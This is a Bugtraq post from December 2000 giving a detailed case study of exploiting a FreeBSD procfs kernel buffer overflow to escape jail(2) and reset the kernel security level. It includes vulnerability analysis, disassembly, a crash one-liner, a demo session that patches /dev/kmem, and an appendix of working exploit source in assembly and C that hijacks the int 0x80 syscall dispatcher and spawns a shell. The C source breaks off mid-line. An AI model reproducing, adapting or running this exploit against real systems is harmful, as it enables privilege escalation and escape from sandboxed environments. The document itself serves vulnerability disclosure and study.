Date sent:      	Thu, 28 Dec 2000 21:29:37 +0200
Send reply to:  	Esa Etelavuori <eetelavu@CC.HUT.FI>
From:           	Esa Etelavuori <eetelavu@CC.HUT.FI>
Subject:        	Exploiting Kernel Buffer Overflows FreeBSD Style
To:             	BUGTRAQ@SECURITYFOCUS.COM

-----BEGIN PGP SIGNED MESSAGE-----

            Exploiting Kernel Buffer Overflows FreeBSD Style:
          Defeating Security Levels and Breaking Out of Jail(2)
                             Esa Etelavuori
                           December 28,  2000

1. Introduction

This is a detailed case study discussing the exploitation of the FreeBSD
kernel process filesystem buffer overflow vulnerability [7]. This is
FreeBSD/i386 specific, but some of these techniques are applicable
to other systems, and perhaps give a new insight to regular buffer
overflows.

There is not much public information about this subject, although a
search for kernel buffer overflows reveals some interesting cases.
Silvio Cesare's kmem patching article [1] is a good basis. Knowledge
of the FreeBSD kernel implementation [5, 6], and the IA-32 architecture
[2] would be useful. See the FreeBSD manual pages of jail(8) and init(8)
for a description of the jail mechanism and security levels.

2. Vulnerability Analysis

It is essential to have a good understanding of the vulnerability when
exploiting kernel space holes, because we are likely to have only one
try as mistakes result in a system crash.

2.1 Understanding the Vulnerability

4.4BSD procfs implementation has been broken since the beginning, but
the final blow came from jail(2). The buffer overflow happens when a
jail has been setup with a long hostname (up to 255 bytes) or huge gids
are used, and a program's status is read through procfs.

Procfs status information looks like this:
# cat /proc/curproc/status
cat 60424 60386 60424 60386 5,0 ctty 972854153,236415 0,0 0,1043\
nochan 0 0 0,0 prisoner

Fields are:
comm pid ppid pgid sid  maj,min ctty,sldr start     user/system time\
wmsg euid ruid rgid,egid,groups[1 .. NGROUPS] jail's hostname

Vulnerable kernel can be crashed like this:
# jail / `perl -e 'print "x" x 250'` 1.2.3.4 /bin/cat
/proc/curproc/status

Here is the actual culprit, src/sys/miscfs/procfs/procfs_status.c:

int
procfs_dostatus(curp, p, pfs, uio)
    struct proc *curp;
    struct proc *p;
<snip>
    char *ps;
<snip>
    int xlen;
    int error;
    char psbuf[256];                /* XXX - conservative */
<snip>
    ps = psbuf;
<...snip>
    for (i = 0; i < cr->cr_ngroups; i++)
        ps += sprintf(ps, ",%lu", (u_long)cr->cr_groups[i]);

    if (p->p_prison)
        ps += sprintf(ps, " %s", p->p_prison->pr_host);
    else
        ps += sprintf(ps, " -");
    ps += sprintf(ps, "\n");

    xlen = ps - psbuf;
    xlen -= uio->uio_offset;
    ps = psbuf + uio->uio_offset;
    xlen = imin(xlen, uio->uio_resid);
    if (xlen <= 0)
        error = 0;
    else
        error = uiomove(ps, xlen, uio);

    return (error);
}

Basic mistakes, but even the jail overflow has been in the FreeBSD
source tree for over 18 months.

Psbuf is declared as the last local variable that seems to cause
problems (that we could overcome) because ps would get overwritten.
Further investigation is needed to see what kind of code the compiler
has generated with default optimizations (-O).

# nm /kernel | grep "T procfs_dostatus"
c0170d64 T procfs_dostatus
# objdump -d /kernel --start-address=0xc0170d64 | less
<snip>
c0170d64 <procfs_dostatus>:
c0170d64:       55                      push   %ebp
c0170d65:       89 e5                   mov    %esp,%ebp
c0170d67:       81 ec 24 01 00 00       sub    $0x124,%esp
c0170d6d:       57                      push   %edi
c0170d6e:       56                      push   %esi
c0170d6f:       53                      push   %ebx
c0170d70:       8b 45 14                mov    0x14(%ebp),%eax
<snip>
        ps += sprintf(ps, "\n");
c017100c:       68 cb 0d 24 c0          push   $0xc0240dcb
c0171011:       56                      push   %esi
c0171012:       e8 21 62 fd ff          call   c0147238 <sprintf>
c0171017:       01 c6                   add    %eax,%esi
        xlen = ps - psbuf;
c0171019:       8d 95 00 ff ff ff       lea    0xffffff00(%ebp),%edx
c017101f:       89 f1                   mov    %esi,%ecx
c0171021:       29 d1                   sub    %edx,%ecx

Ps is optimized to use %esi and psbuf is at the top of the stack frame
(referenced as -256(%ebp)).

After disassembling GENERIC kernels and compiling new ones with
different
optimization settings using GCC coming with FreeBSD releases, it seems
that the above code can be considered as a safe default to base the
exploitation process on.

2.2 Taking Control of the Processor

When exploiting the overflow by using gids, we have a very constrained
character set to use. The overflow ends with '\n\0' so only limited
addresses can be reached. We would need to be lucky to reach suitable
code. However, we can reach the current program's stack with a one-byte
frame pointer overflow [3, 4] and other data areas with a two-byte
overflow. We can read the top of our process' kernel space stack from
p->p_md.md_regs, which is at the top of a two-page user area.

I do not know a simple method for filling reachable areas with our
data, but brute forcing by filling user-controlled areas with a fake
stack frame (only a dummy fp and a saved program counter are needed),
executing several programs, and searching for the right data by reading
kmem works and can be automated. Apparently space used for argument
copies is reachable and static enough to be usable with the two-byte
overflow. This could be used to break securelevels on other BSDs,
as well.

But what happens if the kernel has been compiled without using a
frame pointer? Looking at the source again, we can see that curp and p
arguments, which are just above the saved return address, are not used
after the overflow. This means that we can pad the overflowing hostname
with two return addresses, and if a frame pointer is not used, the
second
one trashes curp and trailing '\n\0' trashes p, which is still safe.

Now we can be pretty sure that we can control the program flow. There
are endless ways how to continue exploitation from here. The "right"
approach depends on the situation, and every open source kernel can
be different. The following example is meant to illustrate some points
when playing with the kernel, and not to be an optimal exploit.

3. Payload Creation

Our goal is to break out of jail and reset the security level to
insecure
state. We can escape jail by zeroing our process' jail pointer. The
process flags still contain indication of jail, but it does not matter
as the main checks look for validity of the jail pointer. The process'
root directory can be set to the system root, bypassing chroot(2) used
by jail(2). We can reset the security level by writing a value below
1 to the address of the securelevel variable (signed int).

We need to get exact addresses of variables we want to access. Even
in most basic jail installation /kernel and /dev/{mem,kmem} probably
are links to /dev/null, so exact addresses cannot be read using
them. However, the FreeBSD kernel gives out all needed symbol table
information to anyone through kldsym(2), which can be easily used via
the kvm(3) library.

3.1 Payload Execution

We can redirect the program flow by stopping a dummy process so its
status information does not change, use it to calculate the exact
length of a new hostname containing the payload, set the hostname,
and read the status again.

We could reach the payload by calculating the approximate distance from
the top of the stack to the buffer filled with NOPs. But we can locate
the exact address by reading the prison structure's location from our
own process structure via kvm(3), which uses KERN_PROC sysctl(3). If
we had not been jailed, we could have used the kernel MIB for data
transfers from user to kernel space.

3.2 Payload Exit

What do we do after the payload has been triggered? The running program
could be forced to terminate, but that could cause unexpected side
effects due to it being in kernel space. The program could be holding
locks (procfs lock in this case) and other resources that should be
released. The safest way is to resume execution as if nothing unusual
had occurred. There happens just a few byte side step.

The problem is that we do not know exactly where to return if we
cannot read the kernel code before attack. We could let the payload
scan for a call to procfs_dostatus() to calculate the return address
at run-time. However, the frame pointer might also need adjusting,
and we cannot be certain that it is done right.

We could rely on a common case again, but if we have survived up to
this point, we do not want to fail now. We can put the program to sleep
after the payload has been triggered. When we get out of the jailed
environment, we can adjust the frame pointer and the return address
correctly, and signal the program to continue its trip safely back to
user space.

We can tune the payload for the common case, so that the overwritten
frame pointer is set to a usually correct value at run-time by using
the stack pointer, and calculating the difference with the help of
disassembly of the previous function, procfs_rw. This can be fixed /
NOPped out later if needed.

3.3 The Gate to Freedom

Because we have stopped the process that is under our control, we cannot
modify its attributes to escape jail. We have to modify some other
process. The process structure has a pointer to its parent, we could use
that. We could modify the system call table, system calls, and almost
anything else. Plenty of possibilities, but perhaps the neatest way
is to hijack the whole system call dispatcher, the famous int 0x80. We
could modify its Trap Gate descriptor in the Interrupt Descriptor Table,
but let's look at the code, src/sys/i386/i386/exception.s:

/*
 * Call gate entry for FreeBSD ELF and Linux/NetBSD syscall (int 0x80)
 *
 * Even though the name says 'int0x80', this is actually a TGT (trap
gate)
 * rather then an IGT (interrupt gate).  Thus interrupts are enabled on
 * entry just as they are for a normal syscall.
 *
 * We do not obtain the MP lock, but the call to syscall2 might.  If it
 * does it will release the lock prior to returning.
 */
        SUPERALIGN_TEXT
IDTVEC(int0x80_syscall)
        subl    $8,%esp            /* skip over tf_trapno and tf_err */
        pushal
        pushl   %ds
        pushl   %es
        pushl   %fs
        mov     $KDSEL,%ax              /* switch to kernel segments */
        mov     %ax,%ds
        mov     %ax,%es
        MOVL_KPSEL_EAX
        mov     %ax,%fs
        movl    $2,TF_ERR(%esp)         /* sizeof "int 0x80" */
        FAKE_MCOUNT(13*4(%esp))
        MPLOCKED incl _cnt+V_SYSCALL
        call    _syscall2
        MEXITCOUNT
        cli                             /* atomic astpending access */
        cmpl    $0,_astpending
        je      doreti_syscall_ret
<snip>

It saves all user registers on the stack, loads kernel selectors,
and calls the actual handler, syscall2. That is fine for us. KDSEL
is a data segment selector that covers the entire address range with
read-write access. KPSEL is a per-cpu private selector that is important
on multiprocessor machines to locate certain structures such as the
current process. We can simply let the payload scan for the call to
syscall2 and replace it with a pointer to our code that will jump to
the real syscall2 or return after it has done what we want.

What we want is to escape jail so we will check in our patched syscall
handler for a particular system call number, and patch a process pointed
by the %fs:gd_curproc variable, which is the process that called us.
When
we want to get out of jail, we will call our new system call that does
not even exist if you look at original system calls or use ktrace(1),
because ktracing is implemented in syscall2.

This can be risky in many ways. A simple scan for the right call
opcode could fail if there happens to be another similar byte, but
int0x80_syscall has been stable, so it should not be a problem. This
small cross-modifying code and process modifications should work on
MP machines without further locking. Blocking interrupts and getting
extra locks take only a few bytes, though.

3.4 Other Considerations

This approach uses many symbols that increases possibility of zero
bytes in addresses. Most likely it does not matter, because the payload
can be easily modified and its position can be varied as needed. We
could embed NUL bytes by constructing the hostname in several phases,
and adjusting the overflow length with gids as needed. But we will
add a standard XOR decoder to have more features.

When the last process within a jail exits, its prison structure is
normally destroyed. Our zeroing of the prison pointer does not modify
the
prison reference count, so the memory for the payload stays allocated.

4. Conquering Kernel Space

It is time to put the exploit to action.

<snip>
# id
uid=0(root) gid=0(wheel) groups=0(wheel), 65534(nobody)
# uname -sr
FreeBSD 4.1.1-RELEASE
# hostname
alcatraz.n3t
# pwd
/tmp
# sysctl -w kern.securelevel=0
kern.securelevel: 3
sysctl: kern.securelevel: Operation not permitted
# ipfw add 1 allow ip from any to any
ipfw: socket: Operation not permitted
# # Locks seem to be working, but not for long.
# ./e
prison name      @ 0xc0de8404
payload len      = 136
decoder skip     @ 0xc0de8415
Xint0x80_syscall @ 0xc021b120
new syscall2     @ 0xc0de844d
tsleep           @ 0xc01431cc
hostname         @ 0xc029fba0
syscall2         @ 0xc0226f4c
gd_curproc       @ 0xc0282160
rootvnode        @ 0xc02a0224
securelevel      @ 0xc0270884
procfs_rw        @ 0xc01743e4
payload ret fix  @ 0xc0de844d
>>> ok? y
# pwd
/jail/10.9.8.7/tmp
# sysctl kern.securelevel
kern.securelevel: -1
# ipfw add 1 allow ip from any to any
00001 allow ip from any to any
# ipfw -a l | head -1
00001  645  307084 allow ip from any to any
# hostname
paperbag.c0m
# ps -opid,ppid,stat,wchan,flags,ucomm -t`tty`
  PID  PPID STAT WCHAN        F UCOMM
10908 10907 IsJ  wait   1004086 sh
10929 10908 IJ   wait   1004086 sh
10936 10929 IJ   wait   1004086 e
10937 10936 TJ   -      1001006 e
*0938 10936 DJ   paperb 1000006 e
10939 10936 I    wait      4086 sh
10940 10939 S    wait      4086 sh
10950 10940 R+   -         4006 ps
# # Nice. New forked processes have no J(ail) flag. We can also
# # see that pid *0938 has the hostname as its wait message.
# objdump -d /kernel --start-address=0xc01743e4 | less
<snip>
c01743e4 <procfs_rw>:
c01743e4:       55                      push   %ebp
c01743e5:       89 e5                   mov    %esp,%ebp
c01743e7:       83 ec 08                sub    $0x8,%esp
c01743ea:       57                      push   %edi
c01743eb:       56                      push   %esi
c01743ec:       53                      push   %ebx
c01743ed:       8b 45 08                mov    0x8(%ebp),%eax
<...snip>
c01744ef:       e8 40 f8 ff ff          call   c0173d34
<procfs_dostatus>
c01744f4:       eb 4e                   jmp    c0174544
<procfs_rw+0x160>
<snip>
# # Looks like a common case so %ebp is correct and just the return
# # address needs modification. /kernel could be a fake, but let's
silence
# # our paranoia for a while. After all, this is just a simple demo.
# dd if=/dev/kmem skip=0xc0de844d bs=1 count=4 2>/dev/null | hexdump -C
00000000  ba dc 0d e5                                       |....|
00000004
# # That's the return address.
# perl -e 'print chr 0x44, chr 0x45, chr 0x17, chr 0xc0' | \
> dd of=/dev/kmem seek=0xc0de844d bs=1 count=4 2>/dev/null
# dd if=/dev/kmem skip=0xc0de844d bs=1 count=4 2>/dev/null | hexdump -C
00000000  44 45 17 c0                                       |DE..|
00000004
# # Now we can inform our sleeping process in the kernel.
# h=`hostname` && hostname X && sleep 5 && hostname $h
# ps -opid,ppid,stat,wchan,flags,ucomm -t`tty`
  PID  PPID STAT WCHAN        F UCOMM
10908 10907 IsJ  wait   1004086 sh
10929 10908 IJ   wait   1004086 sh
10936 10929 IJ   wait   1004086 e
10937 10936 TJ   -      1001006 e
10938 10936 ZJ   -      1002006 e
10939 10936 I    wait      4086 sh
10940 10939 S    wait      4086 sh
10992 10940 R+   -         4006 ps
# # Yep, the kid got safely out of the kernel just to become a zombie.
;]

Now the intruder is free to build a new base into the kernel.

5. Conclusions

Exploiting kernel space buffer overflows is similar to user space holes,
but we have to be more careful, and understand the vulnerability and
the system better. The ability to execute arbitrary code using the most
privileged processor mode in a flat kernel makes everything possible,
and is the ultimate technical weapon for intruders.

In this case the kernel buffer overflow has turned out to be quite
easy to exploit due to helpful cooperation from the kernel. Even if
we did not have symbol table information and a binary-only kernel,
we might be able to copy it or an equivalent version to a laboratory
machine for extra analysis and testing.

Most operating systems do not even try to offer this much protection.
Given the sad state of computer security, perhaps the only trustworthy
solution is to use open source systems. Although verifying them is
impossible, a skilled defender has more possibilities to harden the
kernel and prepare for eventual failure of prevention. Adding
non-obvious
auditing mechanisms might help to detect attackers who do fairly decent
kernel modifications and disable normal protection mechanisms.

Acknowledgments

Thanks to Andrew R. Reiter for reviewing and commenting this paper, and
Pascal Bouchareine for a multiprocessor machine and comments.

Greets to Jouko Pynnonen, and the Hacker Emergency Response Team.

References

[1] Cesare, Silvio, "RUNTIME KERNEL KMEM PATCHING," November 1998.
    http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt
[2] Intel, The IA-32 Intel Architecture Software Developer's Manual,
    Volumes 1-3. http://developer.intel.com/design/litcentr/index.htm
[3] Kirch, Olaf., "The poisoned NUL byte", Bugtraq mailing list,
    October 1998. http://www.securityfocus.com/archive/1/10884
[4] Klog, "The Frame Pointer Overwrite," Phrack Magazine, October 1999,
    Vol. 9, No. 55.
    http//phrack.infonexus.com/search.phtml?view&article=p55-8
[5] McKusick, Marshall Kirk et al, The Design and Implementation of
    the 4.4BSD Operating System, Addison-Wesley, Reading, MA, 1996.
[6] The FreeBSD Project, The FreeBSD 4 kernel source code.
    http://www.FreeBSD.org/cgi/cvsweb.cgi/src/sys/
[7] The FreeBSD Project, "Several vulnerabilities in procfs,"
    FreeBSD Security Advisory: FreeBSD-SA-00:77, December 2000.
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:77.procfs.
asc

Appendix A - Exploit

/* freesploit.S
 * FreeBSD/i386 4.0-4.1.1 jail(2) break & security level exploit
(procfs)
 */
#include "freesploit.h"

.globl    payload
.globl    payload_end
.globl    new_syscall2

#ifdef XOR_PAYLOAD
.globl    decoder_end
.equ      XOR_LEN, payload_end - decoder_end
#endif

payload:
    push %eax

#ifdef XOR_PAYLOAD
    push %ecx
decoder:
    mov  $SYM_MARKER,%eax    //p->prison->name + decoder skip
    xor  %ecx,%ecx
    movb $XOR_LEN,%cl
xor_loop:
    xorb $XOR_CHAR,(%eax)
    inc  %eax
    loop xor_loop
decoder_end:
#endif

syscall_patcher:
#ifndef XOR_PAYLOAD
    push %ecx
#endif
    mov  $SYM_MARKER,%eax    //Xint0x80_syscall
call_scan:
    inc  %eax
    cmpb $0xe8,(%eax)        //call opcode
    jne  call_scan

    mov  $SYM_MARKER,%ecx    //new syscall - 5 (call len)
    sub  %eax,%ecx           //relative call len
    xchg %ecx,1(%eax)        //atomic

tsleeper:
    push %ebx
sleep_again:
    mov  $SYM_MARKER,%ecx    //tsleep
    mov  $SYM_MARKER,%ebx    //hostname
    push $0x2
    push %ebx
    push $0x2
    push %ebx
    call *%ecx
    add  $0x10,%esp
    cmpb $0x58,(%ebx)        //XXX
    jne  sleep_again

    pop  %ebx
    pop  %ecx
    pop  %eax

fp_fix:
    lea  FP_ADD(%esp),%ebp

payload_ret_fix:
    push $0xe50ddcba
    ret

new_syscall2:
// %esp -> saved %eip, trapframe
    cmpw $NEW_SYSCALL,TF_EAX+4(%esp)
    je   breakout

    push $SYM_MARKER        //syscall2
    ret

breakout:
    push %eax
    push %ebx
    push %ecx

    mov  %fs:(SYM_MARKER),%ecx //gd_curproc
//p->p_fd->fd_rdir = rootvnode
    mov  (SYM_MARKER),%eax     //rootvnode
    mov  P_FD(%ecx),%ebx
    mov  %eax,FD_RDIR(%ebx)    //XXX

//p->p_prison = NULL
    xor  %eax,%eax
    pushw %ax
    pushw $P_PRISON
    pop  %ebx
    mov  %eax,(%ebx,%ecx)     //XXX

//seclvl_reset
    dec  %eax
    mov  %eax,SYM_MARKER      //securelevel XXX

    pop  %ecx
    pop  %ebx
    pop  %eax

    ret

payload_end:
.byte 0

/* freesploit.c
 * FreeBSD/i386 4.0-4.1.1 jail(2) break & security level exploit
(procfs)
 * by Esa Etelavuori (http://www.iki.fi/ee/) in 2000.
 *
 * This program is free software; you can modify it as much
 * you want, claim it is yours, steal it, sell it for billions,
 * and use it to mess your life, but do not bother anyone else.
 */
#include <sys/param.h>
#define  _KERNEL
#include <sys/jail.h>
#undef   _KERNEL
#include <sys/proc.h>
#include <sys/syscall.h>
#include <sys/sysctl.h>
#include <sys/time.h>
#include <sys/wait.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <err.h>
#include <fcntl.h>
#include <kvm.h>
#include <machine/frame.h>
#include <nlist.h>
#include <paths.h>
#include <signal.h>
#include <stddef.h>

#include "freesploit.h"

#define XBUF        512
#define SYM_WIDTH  "-16"

static pid_t stopper_kid = 0;
static pid_t trigger_kid = 0;
static kvm_t *kd = NULL;
static struct kinfo_proc *kproc = NULL;
static char orig_hname[MAXHOSTNAMELEN+1] = {0};

struct kinfo_proc {
    struct    proc kp_proc;
};

#define PRISON_HOST_ADDR() ((unsigned int)kproc->kp_proc.p_prison    \
                             + offsetof(struct prison, pr_host))

extern void payload(void);
extern void payload_end(void);
extern void new_syscall2(void);
#ifdef XOR_PAYLOAD
extern void decoder_end(void);
#endif

static void stopper(void);
static void trigger(void);
static void master(void);
static void payloader(void);
static void linker(char *);
static void zero_check(int);
static ssize_t get_stats_len(pid_t);
static unsigned int get_sym(const char *);
static void fix_payload_return(const char *);
static void init_kvm(int);
static void cleanup(void);

int
main(int ac, char **av)
{
    if (ac == 1)
        master();
    else if (ac == 2)
        fix_payload_return(av[1]);

    return 1;
}

static void
stopper(void)
{
    kill(getpid(), SIGSTOP);
    _exit(1);
}

static void
trigger(void)
{
    get_stats_len(stopper_kid);
    if (sethostname(orig_hname, strlen(orig_hname)))
        perror("sethostname");
    _exit(0);
}

static void
master(void)
{
    int stats;

    stopper_kid = fork();
    if (stopper_kid < 0)
        err(1, "fork");

    if (!stopper_kid)
        stopper();

    atexit(cleanup);
    init_kvm(O_RDONLY);

    while (waitpid(stopper_kid, &stats, WUNTRACED)
            && !WIFSTOPPED(stats))
        ;

    payloader();

    trigger_kid = fork();
    if (trigger_kid < 0)
        err(1, "fork");

    if (!trigger_kid)
        trigger();

    sleep(3);
    syscall(NEW_SYSCALL, NULL);
    system("/bin/sh");

    exit(0);
}

static void
payloader(void)
{
    unsigned int payload_addr;
    ssize_t len;
    char buf[XBUF];
    char *p;

    payload_addr = PRISON_HOST_ADDR();
    printf("%"SYM_WIDTH"s @ %#08x\n", "prison name", payload_addr);
    zero_check(payload_addr);

    if (offsetof(struct proc, p_prison) != P_PRISON
            || offsetof(struct proc, p_fd) != P_FD
            || offsetof(struct filedesc, fd_rdir) != FD_RDIR
            || offsetof(struct trapframe, tf_eax) != TF_EAX)
        errx(1, "struct / define mismatch");

    len = (char *)payload_end - (char *)payload;
    printf("%"SYM_WIDTH"s = %d\n", "payload len", len);
    if (len > sizeof(buf) - 1)
        errx(1, "payload too big");

    memcpy(buf, payload, len);

    buf[len] = '\0';
    linker(buf);

    len = 256 - get_stats_len(stopper_kid);
    len -= strlen(buf);
    if (len < 0)
        errx(1, "stats too long");

    p = buf;
    p += strlen(p);
    while (len--)
        *p++ = 'x';

    for (len = 2; len--;) {
        *(unsigned int *)p = payload_addr;
        p += sizeof payload_addr;
    }
    *p = '\0';

    if (sethostname(buf, strlen(buf)))
        err(1, "sethostname");
}

static void
linker(char *buf)
{
    unsigned int addr, new_syscall2_addr;
    unsigned int i;
    ssize_t len;
    char *p;
    const char *syms[] = {"decoder skip", "Xint0x80_syscall",
        "new syscall2", "tsleep", "hostname", "syscall2",
        "gd_curproc", "rootvnode", "securelevel", NULL};

    new_syscall2_addr = PRISON_HOST_ADDR()
        + ((char *)new_syscall2 - (char *)payload);
    p = buf;
#ifdef XOR_PAYLOAD
    i = 0;
#else
    i = 1;
#endif
    for (len = (char *)payload_end - (char *)payload; len--; p++) {
        if (*(unsigned int *)p == SYM_MARKER) {
#ifdef XOR_PAYLOAD
            if (i == 0) {
                addr = PRISON_HOST_ADDR()
                    + (char *)decoder_end - (char *)payload;
                zero_check(addr); /* XXX */
            }
            else
#endif
            if (i == 2) /* - sizeof "call 0xbadc0de5" */
                addr = new_syscall2_addr - 5;
            else
                addr = get_sym(syms[i]);

            printf("%"SYM_WIDTH"s @ %#08x\n", syms[i], addr);

#ifndef XOR_PAYLOAD
            zero_check(addr);
#endif

            *(unsigned int *)p = addr;

            if (syms[++i] == NULL)
                break;
        }
    }

#ifdef XOR_PAYLOAD
    p = &buf[(char *)decoder_end - (char *)payload];
    for (i = (char *)payload_end - (char *)decoder_end; i--;)
        *p++ ^= XOR_CHAR;
#endif

    len = (char *)payload_end - (char *)payload;
    if (len != strlen(buf))
        errx(1, "payload len %d != strlen %d\n", len, strlen(buf));

    printf("%"SYM_WIDTH"s @ %#08x\n", "procfs_rw",
get_sym("procfs_rw"));
    printf("%"SYM_WIDTH"s @ %#08x\n", "payload ret fix",
        new_syscall2_addr - 5); /* XXX */

    fprintf(stderr, ">>> ok? ");
    if (getchar() != 'y')
        exit(1);
}

static void
zero_check(int addr)
{
    int i;

    for (i = 0; i < 32; i += 8) {
        if (!((addr >> i) & 0xff))
               errx(1, "fix it\n");
    }
}

static ssize_t
get_stats_len(pid_t pid)
{
    int fd;
    ssize_t n;
    char buf[XBUF];

    snprintf(buf, sizeof buf, "/proc/%d/status", pid);
    if ((fd = open(buf, O_RDONLY)) == -1)
        err(1, "proc open");
    if ((n = read(fd, buf, sizeof buf)) < 10)
        err(1, "proc read");
    close(fd);

    if (gethostname(buf, sizeof buf))
        err(1, "gethostname");

    if (*orig_hname == '\0')
        snprintf(orig_hname, sizeof orig_hname, "%s", buf);

    return n - 1 - strlen(buf);
}

static unsigned int
get_sym(const char *s)
{
    struct nlist nl[2];

    nl[0].n_name = (char *)s;
    nl[1].n_name = NULL;
    if (kvm_nlist(kd, nl))
        err(1, "kvm_nlist");
    return nl[0].n_value;
}

static void
fix_payload_return(const char *s)
{
    FILE *fh;
    unsigned int addr, ret_addr;
    char cmd[XBUF];
    const char *fmt = "/usr/bin/objdump -d --start-address=0x%x "
                "--stop-address=0x%x /kernel | /usr/bin/grep -A1 "
                "procfs_dostatus | /usr/bin/tail -1";

    init_kvm(O_RDWR);
    addr = get_sym("procfs_rw");

    snprintf(cmd, sizeof cmd, fmt, addr, addr + 0x400);

    if ((fh = popen(cmd, "r")) == NULL)
        err(1, "popen");
    if (fscanf(fh, "%x:", &ret_addr) != 1)
        err(1, "fscanf");
    pclose(fh);

    addr = strtoul(s,